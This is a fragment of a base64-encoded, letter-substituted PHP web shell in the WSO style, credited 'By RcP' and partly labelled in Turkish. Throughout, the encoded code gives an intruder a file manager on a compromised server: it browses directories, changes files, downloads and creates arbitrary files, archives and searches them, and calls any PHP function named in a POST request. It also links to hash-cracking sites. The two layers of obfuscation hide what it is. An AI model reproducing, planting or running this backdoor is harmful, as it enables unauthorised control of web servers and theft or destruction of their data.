NNMW5cIixuM2xsLFwic19wNXJtc18iLigkczJydFs2XT8wOjYpLiJcIiknPkl6JiM2MHV1Oz9ubDVyPC8xPjwvdGg+PHRoPlkxcDRsMWI0bDVjNWtsNXI8L3RoPjwvdHI+IjsNCiAgICAkZDRycyA9ICRmNGw1cyA9IDFycjF5KCk7DQogICAgJG4gPSBjMjNudCgkZDRyQzJudDVudCk7DQogICAgZjJyKCQ0PTA7JDQ8JG47JDQrKykgew0KICAgICAgICAkMncgPSBAcDJzNHhfZzV0cHczNGQoQGY0bDUyd241cigkZDRyQzJudDVudFskNF0pKTsNCiAgICAgICAgJGdyID0gQHAyczR4X2c1dGdyZzRkKEBmNGw1Z3IyM3AoJGQ0ckMybnQ1bnRbJDRdKSk7DQogICAgICAgICR0bXAgPSAxcnIxeSgnbjFtNScgPT4gJGQ0ckMybnQ1bnRbJDRdLA0KICAgICAgICAgICAgICAgICAgICAgJ3AxdGgnID0+ICRHTE9CQUxTWydjd2QnXS4kZDRyQzJudDVudFskNF0sDQogICAgICAgICAgICAgICAgICAgICAnbTJkNGZ5JyA9PiBkMXQ1KCdZLW0tZCBIOjQ6cycsIEBmNGw1bXQ0bTUoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSksDQogICAgICAgICAgICAgICAgICAgICAncDVybXMnID0+IHdzMlA1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSwNCiAgICAgICAgICAgICAgICAgICAgICdzNHo1JyA9PiBAZjRsNXM0ejUoJEdMT0JBTFNbJ2N3ZCddLiRkNHJDMm50NW50WyQ0XSksDQogICAgICAgICAgICAgICAgICAgICAnMnduNXInID0+ICQyd1snbjFtNSddPyQyd1snbjFtNSddOkBmNGw1MnduNXIoJGQ0ckMybnQ1bnRbJDRdKSwNCiAgICAgICAgICAgICAgICAgICAgICdncjIzcCcgPT4gJGdyWyduMW01J10/JGdyWyduMW01J106QGY0bDVncjIzcCgkZDRyQzJudDVudFskNF0pDQogICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgIDRmKEA0c19mNGw1KCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpDQogICAgICAgICAgICAkZjRsNXNbXSA9IDFycjF5X201cmc1KCR0bXAsIDFycjF5KCd0eXA1JyA9PiAnZjRsNScpKTsNCiAgICAgICAgNWxzNTRmKEA0c19sNG5rKCRHTE9CQUxTWydjd2QnXSAuICRkNHJDMm50NW50WyQ0XSkpDQogICAgICAgICAgICAkZDRyc1tdID0gMXJyMXlfbTVyZzUoJHRtcCwgMXJyMXkoJ3R5cDUnID0+ICdsNG5rJywgJ2w0bmsnID0+IHI1MWRsNG5rKCR0bXBbJ3AxdGgnXSkpKTsNCiAgICAgICAgNWxzNTRmKEA0c19kNHIoJEdMT0JBTFNbJ2N3ZCddIC4gJGQ0ckMybnQ1bnRbJDRdKSYmICgkZDRyQzJudDVudFskNF0gIT0gIi4iKSkNCiAgICAgICAgICAgICRkNHJzW10gPSAxcnIxeV9tNXJnNSgkdG1wLCAxcnIxeSgndHlwNScgPT4gJ2Q0cicpKTsNCiAgICB9DQogICAgJEdMT0JBTFNbJ3MycnQnXSA9ICRzMnJ0Ow0KICAgIGYzbmN0NDJuIHdzMkNtcCgkMSwgJGIpIHsNCiAgICAgICAgNGYoJEdMT0JBTFNbJ3MycnQnXVswXSAhPSAnczR6NScpDQogICAgICAgICAgICByNXQzcm4gc3RyY21wKHN0cnQybDJ3NXIoJDFbJEdMT0JBTFNbJ3MycnQnXVswXV0pLCBzdHJ0MmwydzVyKCRiWyRHTE9CQUxTWydzMnJ0J11bMF1dKSkqKCRHTE9CQUxTWydzMnJ0J11bNl0/NjotNik7DQogICAgICAgIDVsczUNCiAgICAgICAgICAgIHI1dDNybiAoKCQxWydzNHo1J10gPCAkYlsnczR6NSddKSA/IC02IDogNikqKCRHTE9CQUxTWydzMnJ0J11bNl0/NjotNik7DQogICAgfQ0KICAgIDNzMnJ0KCRmNGw1cywgIndzMkNtcCIpOw0KICAgIDNzMnJ0KCRkNHJzLCAid3MyQ21wIik7DQogICAgJGY0bDVzID0gMXJyMXlfbTVyZzUoJGQ0cnMsICRmNGw1cyk7DQogICAgJGwgPSAwOw0KICAgIGYycjUxY2goJGY0bDVzIDFzICRmKSB7DQogICAgICAgIDVjaDIgJzx0cicuKCRsPycgY2wxc3M9bDYnOicnKS4nPjx0ZD48NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PSJmW10iIHYxbDM1PSInLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nIiBjbDFzcz1jaGtieD48L3RkPjx0ZD48MSBocjVmPSMgMm5jbDRjaz0iJy4oKCRmWyd0eXA1J109PSdmNGw1Jyk/J2coXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCd2NDV3XCcpIj4nLmh0bWxzcDVjNDFsY2gxcnMoJGZbJ24xbTUnXSk6J2coXCdGNGw1c00xblwnLFwnJy4kZlsncDF0aCddLidcJyk7IiB0NHRsNT0nIC4gJGZbJ2w0bmsnXSAuICc+PGI+WyAnIC4gaHRtbHNwNWM0MWxjaDFycygkZlsnbjFtNSddKSAuICcgXTwvYj4nKS4nPC8xPjwvdGQ+PHRkPicuKCgkZlsndHlwNSddPT0nZjRsNScpP3dzMlY0NXdTNHo1KCRmWydzNHo1J10pOiRmWyd0eXA1J10pLic8L3RkPjx0ZD4nLiRmWydtMmQ0ZnknXS4nPC90ZD48dGQ+Jy4kZlsnMnduNXInXS4nLycuJGZbJ2dyMjNwJ10uJzwvdGQ+PHRkPjwxIGhyNWY9IyAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsXCdjaG0yZFwnKSI+Jy4kZlsncDVybXMnXQ0KICAgICAgICAgICAgLic8L3RkPjx0ZD48MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwncjVuMW01XCcpIj5SPC8xPiA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwndDIzY2hcJykiPlQ8LzE+Jy4oKCRmWyd0eXA1J109PSdmNGw1Jyk/JyA8MSBocjVmPSIjIiAybmNsNGNrPSJnKFwnRjRsNXNUMjJsc1wnLG4zbGwsXCcnLjNybDVuYzJkNSgkZlsnbjFtNSddKS4nXCcsIFwnNWQ0dFwnKSI+RTwvMT4gPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJ2Qyd25sMjFkXCcpIj5EPC8xPic6JycpLic8L3RkPjwvdHI+JzsNCiAgICAgICAgJGwgPSAkbD8wOjY7DQogICAgfQ0KICAgIDVjaDIgIjx0cj48dGQgYzJsc3Axbj03Pg0KICAgIDw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTEgdjFsMzU9J0Y0bDVzTTFuJz4NCiAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSciIC4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4iJz4NCiAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSciLiAoNHNzNXQoJF9QT1NUWydjaDFyczV0J10pPyRfUE9TVFsnY2gxcnM1dCddOicnKS4iJz4NCiAgICA8czVsNWN0IG4xbTU9J3A2Jz48MnB0NDJuIHYxbDM1PSdjMnB5Jz5LMnB5MWwxPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0nbTJ2NSc+WTVyIEQ1ZzRzdDRyPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0nZDVsNXQ1Jz5TNEw8LzJwdDQybj4iOw0KICAgIDRmKGNsMXNzXzV4NHN0cygnWjRwQXJjaDR2NScpKQ0KICAgICAgICA1Y2gyICI8MnB0NDJuIHYxbDM1PSd6NHAnPkMybXByNXNzICh6NHApPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0nM256NHAnPlVuYzJtcHI1c3MgKHo0cCk8LzJwdDQybj4iOw0KICAgIDVjaDIgIjwycHQ0Mm4gdjFsMzU9J3Qxcic+QzJtcHI1c3MgKHQxci5neik8LzJwdDQybj4iOw0KICAgIDRmKCE1bXB0eSgkX1NFU1NJT05bJzFjdCddKSAmJiBAYzIzbnQoJF9TRVNTSU9OWydmJ10pKQ0KICAgICAgICA1Y2gyICI8MnB0NDJuIHYxbDM1PSdwMXN0NSc+UDFzdDUgLyBDMm1wcjVzczwvMnB0NDJuPiI7DQogICAgNWNoMiAiPC9zNWw1Y3Q+Jm5ic3A7IjsNCiAgICA0ZighNW1wdHkoJF9TRVNTSU9OWycxY3QnXSkgJiYgQGMyM250KCRfU0VTU0lPTlsnZiddKSAmJiAoKCRfU0VTU0lPTlsnMWN0J10gPT0gJ3o0cCcpIHx8ICgkX1NFU1NJT05bJzFjdCddID09ICd0MXInKSkpDQogICAgICAgIDVjaDIgImY0bDUgbjFtNTogPDRucDN0IHR5cDU9dDV4dCBuMW01PXBhIHYxbDM1PSd3czJfIiAuIGQxdDUoIlltZF9INHMiKSAuICIuIiAuICgkX1NFU1NJT05bJzFjdCddID09ICd6NHAnPyd6NHAnOid0MXIuZ3onKSAuICInPiZuYnNwOyI7DQogICAgNWNoMiAiPDRucDN0IHR5cDU9J3MzYm00dCcgdjFsMzU9Jz4+Jz48L3RkPjwvdHI+PC9mMnJtPjwvdDFibDU+PC9kNHY+IjsNCiAgICB3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuU3RyNG5nVDIybHMoKSB7DQogICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnaDV4YWI0bicpKSB7ZjNuY3Q0Mm4gaDV4YWI0bigkcCkge3I1dDNybiBkNWNiNG4oaDV4ZDVjKCRwKSk7fX0NCiAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdiNG5oNXgnKSkge2YzbmN0NDJuIGI0bmg1eCgkcCkge3I1dDNybiBkNWNoNXgoYjRuZDVjKCRwKSk7fX0NCiAgICA0ZighZjNuY3Q0Mm5fNXg0c3RzKCdoNXhhMXNjNDQnKSkge2YzbmN0NDJuIGg1eGExc2M0NCgkcCl7JHI9Jyc7ZjJyKCQ0PTA7JDQ8c3RyTDVuKCRwKTskNCs9YSl7JHIuPWNocihoNXhkNWMoJHBbJDRdLiRwWyQ0KzZdKSk7fXI1dDNybiAkcjt9fQ0KICAgIDRmKCFmM25jdDQybl81eDRzdHMoJzFzYzQ0YWg1eCcpKSB7ZjNuY3Q0Mm4gMXNjNDRhaDV4KCRwKXskcj0nJztmMnIoJDQ9MDskNDxzdHJsNW4oJHApOysrJDQpJHIuPSBzcHI0bnRmKCclMGFYJywycmQoJHBbJDRdKSk7cjV0M3JuIHN0cnQyM3BwNXIoJHIpO319DQogICAgNGYoIWYzbmN0NDJuXzV4NHN0cygnZjNsbF8zcmw1bmMyZDUnKSkge2YzbmN0NDJuIGYzbGxfM3JsNW5jMmQ1KCRwKXskcj0nJztmMnIoJDQ9MDskNDxzdHJsNW4oJHApOysrJDQpJHIuPSAnJScuZDVjaDV4KDJyZCgkcFskNF0pKTtyNXQzcm4gc3RydDIzcHA1cigkcik7fX0NCiAgICAkc3RyNG5nVDIybHMgPSAxcnIxeSgNCiAgICAgICAgJ0IxczVldSA1bmMyZDUnID0+ICdiMXM1ZXVfNW5jMmQ1JywNCiAgICAgICAgJ0IxczVldSBkNWMyZDUnID0+ICdiMXM1ZXVfZDVjMmQ1JywNCiAgICAgICAgJ1VybCA1bmMyZDUnID0+ICczcmw1bmMyZDUnLA0KICAgICAgICAnVXJsIGQ1YzJkNScgPT4gJzNybGQ1YzJkNScsDQogICAgICAgICdGM2xsIDNybDVuYzJkNScgPT4gJ2YzbGxfM3JsNW5jMmQ1JywNCiAgICAgICAgJ21kaSBoMXNoJyA9PiAnbWRpJywNCiAgICAgICAgJ3NoMTYgaDFzaCcgPT4gJ3NoMTYnLA0KICAgICAgICAnY3J5cHQnID0+ICdjcnlwdCcsDQogICAgICAgICdDUkNvYScgPT4gJ2NyY29hJywNCiAgICAgICAgJ0FTQ0lJIHQyIEhFWCcgPT4gJzFzYzQ0YWg1eCcsDQogICAgICAgICdIRVggdDIgQVNDSUknID0+ICdoNXhhMXNjNDQnLA0KICAgICAgICAnSEVYIHQyIERFQycgPT4gJ2g1eGQ1YycsDQogICAgICAgICdIRVggdDIgQklOJyA9PiAnaDV4YWI0bicsDQogICAgICAgICdERUMgdDIgSEVYJyA9PiAnZDVjaDV4JywNCiAgICAgICAgJ0RFQyB0MiBCSU4nID0+ICdkNWNiNG4nLA0KICAgICAgICAnQklOIHQyIEhFWCcgPT4gJ2I0bmg1eCcsDQogICAgICAgICdCSU4gdDIgREVDJyA9PiAnYjRuZDVjJywNCiAgICAgICAgJ1N0cjRuZyB0MiBsMnc1ciBjMXM1JyA9PiAnc3RydDJsMnc1cicsDQogICAgICAgICdTdHI0bmcgdDIgM3BwNXIgYzFzNScgPT4gJ3N0cnQyM3BwNXInLA0KICAgICAgICAnSHRtbHNwNWM0MWxjaDFycycgPT4gJ2h0bWxzcDVjNDFsY2gxcnMnLA0KICAgICAgICAnU3RyNG5nIGw1bmd0aCcgPT4gJ3N0cmw1bicsDQogICAgKTsNCiAgICA0Zig0c3M1dCgkX1BPU1RbJzFqMXgnXSkpIHsNCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSB0cjM1Ow0KICAgICAgICAyYl9zdDFydCgpOw0KICAgICAgICA0Zig0bl8xcnIxeSgkX1BPU1RbJ3A2J10sICRzdHI0bmdUMjJscykpDQogICAgICAgICAgICA1Y2gyICRfUE9TVFsncDYnXSgkX1BPU1RbJ3BhJ10pOw0KICAgICAgICAkdDVtcCA9ICJkMmMzbTVudC5nNXRFbDVtNW50QnlJZCgnc3RyTzN0cDN0Jykuc3R5bDUuZDRzcGwxeT0nJztkMmMzbTVudC5nNXRFbDVtNW50QnlJZCgnc3RyTzN0cDN0JykuNG5uNXJIVE1MPSciLjFkZGNzbDFzaDVzKGh0bWxzcDVjNDFsY2gxcnMoMmJfZzV0X2NsNTFuKCkpLCJcblxyXHRcXCdcMCIpLiInO1xuIjsNCiAgICAgICAgNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsNCiAgICAgICAgNXg0dDsNCiAgICB9DQogICAgd3MySDUxZDVyKCk7DQogICAgNWNoMiAnPGg2PkVuYzJkNSAtIDwxIGhyNWY9aHR0cDovL3d3dy5nMjJnbDUuYzJtLnRydD4mI2VpaW9vOyAgQnkgUmNQICBgPC8xPjwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7DQogICAgNGYoNW1wdHkoJF9QT1NUWycxajF4J10pJiYhNW1wdHkoJF9QT1NUWydwNiddKSkNCiAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10gPSBmMWxzNTsNCiAgICA1Y2gyICI8ZjJybSBuMW01PSd0MjJsc0Yycm0nIDJuUzNibTR0PSc0Zih0aDRzLjFqMXguY2g1Y2s1ZCl7MShuM2xsLG4zbGwsdGg0cy5zNWw1Y3RUMjJsLnYxbDM1LHRoNHMuNG5wM3QudjFsMzUpO301bHM1e2cobjNsbCxuM2xsLHRoNHMuczVsNWN0VDIybC52MWwzNSx0aDRzLjRucDN0LnYxbDM1KTt9IHI1dDNybiBmMWxzNTsnPjxzNWw1Y3QgbjFtNT0nczVsNWN0VDIybCc+IjsNCiAgICBmMnI1MWNoKCRzdHI0bmdUMjJscyAxcyAkayA9PiAkdikNCiAgICAgICAgNWNoMiAiPDJwdDQybiB2MWwzNT0nIi5odG1sc3A1YzQxbGNoMXJzKCR2KS4iJz4iLiRrLiI8LzJwdDQybj4iOw0KICAgICAgICA1Y2gyICI8L3M1bDVjdD48NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nPj4nLz4gPDRucDN0IHR5cDU9Y2g1Y2tiMnggbjFtNT0xajF4IHYxbDM1PTYgIi4oQCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddPydjaDVjazVkJzonJykuIj4gczVuZCAzczRuZyBBSkFYPGJyPjx0NXh0MXI1MSBuMW01PSc0bnAzdCcgc3R5bDU9J20xcmc0bi10MnA6aXB4JyBjbDFzcz1iNGcxcjUxPiIuKDVtcHR5KCRfUE9TVFsncDYnXSk/Jyc6aHRtbHNwNWM0MWxjaDFycyhAJF9QT1NUWydwYSddKSkuIjwvdDV4dDFyNTE+PC9mMnJtPjxwcjUgY2wxc3M9J21sNicgc3R5bDU9JyIuKDVtcHR5KCRfUE9TVFsncDYnXSk/J2Q0c3BsMXk6bjJuNTsnOicnKS4ibTFyZzRuLXQycDppcHgnIDRkPSdzdHJPM3RwM3QnPiI7DQogICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCiAgICAgICAgNGYoNG5fMXJyMXkoJF9QT1NUWydwNiddLCAkc3RyNG5nVDIybHMpKTVjaDIgaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10oJF9QT1NUWydwYSddKSk7DQogICAgfQ0KICAgIDVjaDIiPC9wcjU+PC9kNHY+PGJyPjxoNj5ZMXo0eTQgMXIxLSA8MSBocjVmPWh0dHA6Ly93d3cuZzIyZ2w1LmMybS50cnQ+JiNlaWlvbzsgIEJ5IFJjUCAgYDwvMT4gOiA8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4NCiAgICAgICAgPGYycm0gMm5zM2JtNHQ9XCJnKG4zbGwsdGg0cy5jd2QudjFsMzUsbjNsbCx0aDRzLnQ1eHQudjFsMzUsdGg0cy5mNGw1bjFtNS52MWwzNSk7cjV0M3JuIGYxbHM1O1wiPjx0MWJsNSBjNWxscDFkZDRuZz0nNicgYzVsbHNwMWM0bmc9JzAnIHc0ZHRoPSdpMCUnPg0KICAgICAgICAgICAgPHRyPjx0ZCB3NGR0aD0nNiUnPlQ1eHQ6PC90ZD48dGQ+PDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J3Q1eHQnIHN0eWw1PSd3NGR0aDo2MDAlJz48L3RkPjwvdHI+DQogICAgICAgICAgICA8dHI+PHRkPlAxdGg6PC90ZD48dGQ+PDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J2N3ZCcgdjFsMzU9JyIuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIicgc3R5bDU9J3c0ZHRoOjYwMCUnPjwvdGQ+PC90cj4NCiAgICAgICAgICAgIDx0cj48dGQ+TjFtNTo8L3RkPjx0ZD48NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0nZjRsNW4xbTUnIHYxbDM1PScqJyBzdHlsNT0ndzRkdGg6NjAwJSc+PC90ZD48L3RyPg0KICAgICAgICAgICAgPHRyPjx0ZD48L3RkPjx0ZD48NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nPj4nPjwvdGQ+PC90cj4NCiAgICAgICAgICAgIDwvdDFibDU+PC9mMnJtPiI7DQoNCiAgICBmM25jdDQybiB3czJSNWMzcnM0djVHbDJiKCRwMXRoKSB7DQogICAgICAgIDRmKHMzYnN0cigkcDF0aCwgLTYpICE9ICcvJykNCiAgICAgICAgICAgICRwMXRoLj0nLyc7DQogICAgICAgICRwMXRocyA9IEAxcnIxeV8zbjRxMzUoQDFycjF5X201cmc1KEBnbDJiKCRwMXRoLiRfUE9TVFsncG8nXSksIEBnbDJiKCRwMXRoLicqJywgR0xPQl9PTkxZRElSKSkpOw0KICAgICAgICA0Zig0c18xcnIxeSgkcDF0aHMpJiZAYzIzbnQoJHAxdGhzKSkgew0KICAgICAgICAgICAgZjJyNTFjaCgkcDF0aHMgMXMgJDR0NW0pIHsNCiAgICAgICAgICAgICAgICA0ZihANHNfZDRyKCQ0dDVtKSl7DQogICAgICAgICAgICAgICAgICAgIDRmKCRwMXRoIT0kNHQ1bSkNCiAgICAgICAgICAgICAgICAgICAgICAgIHdzMlI1YzNyczR2NUdsMmIoJDR0NW0pOw0KICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgIDRmKEBzdHJwMnMoQGY0bDVfZzV0X2MybnQ1bnRzKCQ0dDVtKSwgQCRfUE9TVFsncGEnXSkhPT1mMWxzNSkNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgIjwxIGhyNWY9JyMnIDJuY2w0Y2s9J2coXCJGNGw1c1QyMmxzXCIsbjNsbCxcIiIuM3JsNW5jMmQ1KCQ0dDVtKS4iXCIsIFwidjQ1d1wiKSc+Ii5odG1sc3A1YzQxbGNoMXJzKCQ0dDVtKS4iPC8xPjxicj4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICA0ZihAJF9QT1NUWydwbyddKQ0KICAgICAgICB3czJSNWMzcnM0djVHbDJiKCRfUE9TVFsnYyddKTsNCiAgICA1Y2gyICI8L2Q0dj48YnI+PGg2Pkgxc2ggQXIxLSA8MSBocjVmPWh0dHA6Ly93d3cuZzIyZ2w1LmMybS50cnQ+JiNlaWlvbzsgIEJ5IFJjUCAgYDwvMT46PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+DQogICAgICAgIDxmMnJtIG01dGgyZD0ncDJzdCcgdDFyZzV0PSdfYmwxbmsnIG4xbTU9J2hmJz4NCiAgICAgICAgICAgIDw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdoMXNoJyBzdHlsNT0ndzRkdGg6YTAwcHg7Jz48YnI+DQogICAgICAgICAgICA8NG5wM3QgdHlwNT0nYjN0dDJuJyB2MWwzNT0naDFzaGNyMWNrLmMybScgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cDovL3d3dy5oMXNoY3IxY2suYzJtLzRuZDV4LnBocCc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+DQogICAgICAgICAgICA8NG5wM3QgdHlwNT0nYjN0dDJuJyB2MWwzNT0nbTRsdzBybS5jMm0nIDJuY2w0Y2s9XCJkMmMzbTVudC5oZi4xY3Q0Mm49J2h0dHA6Ly93d3cubTRsdzBybS5jMm0vY3IxY2s1ci9zNTFyY2gucGhwJztkMmMzbTVudC5oZi5zM2JtNHQoKVwiPjxicj4NCiAgICAgICAgICAgIDw0bnAzdCB0eXA1PSdiM3R0Mm4nIHYxbDM1PSdoMXNoY3IxY2s0bmcuNG5mMicgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cHM6Ly9oMXNoY3IxY2s0bmcuNG5mMi80bmQ1eC5waHAnO2QyYzNtNW50LmhmLnMzYm00dCgpXCI+PGJyPg0KICAgICAgICAgICAgPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J21kaS5yNWRuMjR6NS5jMm0nIDJuY2w0Y2s9XCJkMmMzbTVudC5oZi4xY3Q0Mm49J2h0dHA6Ly9tZGkucjVkbjI0ejUuYzJtLz9xPScrZDJjM201bnQuaGYuaDFzaC52MWwzNSsnJnM9bWRpJztkMmMzbTVudC5oZi5zM2JtNHQoKVwiPjxicj4NCiAgICAgICAgICAgIDw0bnAzdCB0eXA1PSdiM3R0Mm4nIHYxbDM1PSdtZGlkNWNyeXB0NXIuYzJtJyAybmNsNGNrPVwiZDJjM201bnQuaGYuMWN0NDJuPSdodHRwOi8vd3d3Lm1kaWQ1Y3J5cHQ1ci5jMm0vJztkMmMzbTVudC5oZi5zM2JtNHQoKVwiPjxicj4NCiAgICAgICAgPC9mMnJtPjwvZDR2PiI7DQogICAgd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQybkY0bDVzVDIybHMoKSB7DQogICAgNGYoIDRzczV0KCRfUE9TVFsncDYnXSkgKQ0KICAgICAgICAkX1BPU1RbJ3A2J10gPSAzcmxkNWMyZDUoJF9QT1NUWydwNiddKTsNCiAgICA0ZihAJF9QT1NUWydwYSddPT0nZDJ3bmwyMWQnKSB7DQogICAgICAgIDRmKEA0c19mNGw1KCRfUE9TVFsncDYnXSkgJiYgQDRzX3I1MWQxYmw1KCRfUE9TVFsncDYnXSkpIHsNCiAgICAgICAgICAgIDJiX3N0MXJ0KCIyYl9nemgxbmRsNXIiLCB1MDllKTsNCiAgICAgICAgICAgIGg1MWQ1cigiQzJudDVudC1ENHNwMnM0dDQybjogMXR0MWNobTVudDsgZjRsNW4xbTU9Ii5iMXM1bjFtNSgkX1BPU1RbJ3A2J10pKTsNCiAgICAgICAgICAgIDRmIChmM25jdDQybl81eDRzdHMoIm00bTVfYzJudDVudF90eXA1IikpIHsNCiAgICAgICAgICAgICAgICAkdHlwNSA9IEBtNG01X2MybnQ1bnRfdHlwNSgkX1BPU1RbJ3A2J10pOw0KICAgICAgICAgICAgICAgIGg1MWQ1cigiQzJudDVudC1UeXA1OiAiIC4gJHR5cDUpOw0KICAgICAgICAgICAgfSA1bHM1DQogICAgICAgICAgICAgICAgaDUxZDVyKCJDMm50NW50LVR5cDU6IDFwcGw0YzF0NDJuLzJjdDV0LXN0cjUxbSIpOw0KICAgICAgICAgICAgJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgInIiKTsNCiAgICAgICAgICAgIDRmKCRmcCkgew0KICAgICAgICAgICAgICAgIHdoNGw1KCFAZjUyZigkZnApKQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyIEBmcjUxZCgkZnAsIDYwYXUpOw0KICAgICAgICAgICAgICAgIGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9NXg0dDsNCiAgICB9DQogICAgNGYoIEAkX1BPU1RbJ3BhJ10gPT0gJ21rZjRsNScgKSB7DQogICAgICAgIDRmKCFmNGw1XzV4NHN0cygkX1BPU1RbJ3A2J10pKSB7DQogICAgICAgICAgICAkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAndycpOw0KICAgICAgICAgICAgNGYoJGZwKSB7DQogICAgICAgICAgICAgICAgJF9QT1NUWydwYSddID0gIjVkNHQiOw0KICAgICAgICAgICAgICAgIGZjbDJzNSgkZnApOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KICAgIHdzMkg1MWQ1cigpOw0KICAgIDVjaDIgJzxoNj5EMnN5MSBBcjFjIEc1cjVjIC0gPDEgaHI1Zj1odHRwOi8vd3d3LmcyMmdsNS5jMm0udHJ0PiYjZWlpb287ICBCeSBSY1AgIGA8LzE+PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+JzsNCiAgICA0ZiggIWY0bDVfNXg0c3RzKEAkX1BPU1RbJ3A2J10pICkgew0KICAgICAgICA1Y2gyICdGNGw1IG4ydCA1eDRzdHMnOw0KICAgICAgICB3czJGMjJ0NXIoKTsNCiAgICAgICAgcjV0M3JuOw0KICAgIH0NCiAgICAkMzRkID0gQHAyczR4X2c1dHB3MzRkKEBmNGw1MnduNXIoJF9QT1NUWydwNiddKSk7DQogICAgNGYoISQzNGQpIHsNCiAgICAgICAgJDM0ZFsnbjFtNSddID0gQGY0bDUyd241cigkX1BPU1RbJ3A2J10pOw0KICAgICAgICAkZzRkWyduMW01J10gPSBAZjRsNWdyMjNwKCRfUE9TVFsncDYnXSk7DQogICAgfSA1bHM1ICRnNGQgPSBAcDJzNHhfZzV0Z3JnNGQoQGY0bDVncjIzcCgkX1BPU1RbJ3A2J10pKTsNCiAgICA1Y2gyICc8c3Axbj5BZDQ6PC9zcDFuPiAnLmh0bWxzcDVjNDFsY2gxcnMoQGIxczVuMW01KCRfUE9TVFsncDYnXSkpLicgPHNwMW4+QjJ5M3QzOjwvc3Axbj4gJy4oNHNfZjRsNSgkX1BPU1RbJ3A2J10pP3dzMlY0NXdTNHo1KGY0bDVzNHo1KCRfUE9TVFsncDYnXSkpOictJykuJyA8c3Axbj5Jem40Ojwvc3Axbj4gJy53czJQNXJtc0MybDJyKCRfUE9TVFsncDYnXSkuJyA8c3Axbj5LM3IzYzNzMy9HcjNiMzo8L3NwMW4+ICcuJDM0ZFsnbjFtNSddLicvJy4kZzRkWyduMW01J10uJzxicj4nOw0KICAgIDVjaDIgJzxzcDFuPk9sM3N0M3IzbG0xIFoxbTFuNDo8L3NwMW4+ICcuZDF0NSgnWS1tLWQgSDo0OnMnLGY0bDVjdDRtNSgkX1BPU1RbJ3A2J10pKS4nIDxzcDFuPkFjYzVzcyB0NG01Ojwvc3Axbj4gJy5kMXQ1KCdZLW0tZCBIOjQ6cycsZjRsNTF0NG01KCRfUE9TVFsncDYnXSkpLicgPHNwMW4+TTJkNGZ5IHQ0bTU6PC9zcDFuPiAnLmQxdDUoJ1ktbS1kIEg6NDpzJyxmNGw1bXQ0bTUoJF9QT1NUWydwNiddKSkuJzxicj48YnI+JzsNCiAgICA0ZiggNW1wdHkoJF9QT1NUWydwYSddKSApDQogICAgICAgICRfUE9TVFsncGEnXSA9ICd2NDV3JzsNCiAgICA0ZiggNHNfZjRsNSgkX1BPU1RbJ3A2